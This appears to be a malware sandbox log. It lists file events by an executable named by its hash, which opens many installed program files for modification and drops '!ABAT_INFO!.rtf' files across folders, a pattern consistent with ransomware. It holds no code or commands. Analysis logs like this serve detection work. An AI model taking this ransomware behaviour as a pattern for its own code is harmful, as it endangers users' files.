C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui_2.3.0.v20140404-1657.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macHandle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Dhaka 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfontj2d.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Marquesas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Nairobi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-api.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\hu.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Louisville 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.ibm.icu_52.1.0.v201404241930.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security.win32.x86_64_1.0.100.v20130327-1442.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-compat.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Tegucigalpa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Moncton 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Aqtobe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ms.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\calendars.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_MoveNoDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Thule 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Tucuman 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Stanley 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Seoul 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\EnterInitialize.mpeg2 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Monterrey 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_browse.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Merida 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jakarta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Samara 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.event_1.3.100.v20140115-1647.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Ushuaia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Marengo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-7 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\topnav.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\CST6CDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\ResourceInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiling.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\java.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\console_view.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql_2.0.100.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-templates.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector_1.0.200.v20131115-1210.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_fr.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yekaterinburg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Chatham 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_partstyle.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Kiev 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\jawt_md.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans_1.2.200.v20140214-0004.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_sv.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Oslo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\sr.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_hu.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Istanbul 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\dragHandle.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-modules-appui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-9 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.aup 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\nacl_irt_x86_64.nexe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Rangoon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\accessibility.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\local_policy.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.commands.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.services.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Darwin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\kinit.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Ceuta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\La_Paz 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.attributeTransformation.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.commons.codec_1.6.0.v201305230611.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Macau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-container.exe.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Magadan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yakutsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qatar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Abidjan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Honolulu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\QuickTime.mpp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\zh-TW.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench_3.106.1.v20140827-1737.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Samara 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.annotation_1.2.0.v201401042248.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\chrome.dll.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateBroker.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt_0.12.100.v20140530-1436.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\20200722114609.pma 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AssemblyInfo.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javah.exe 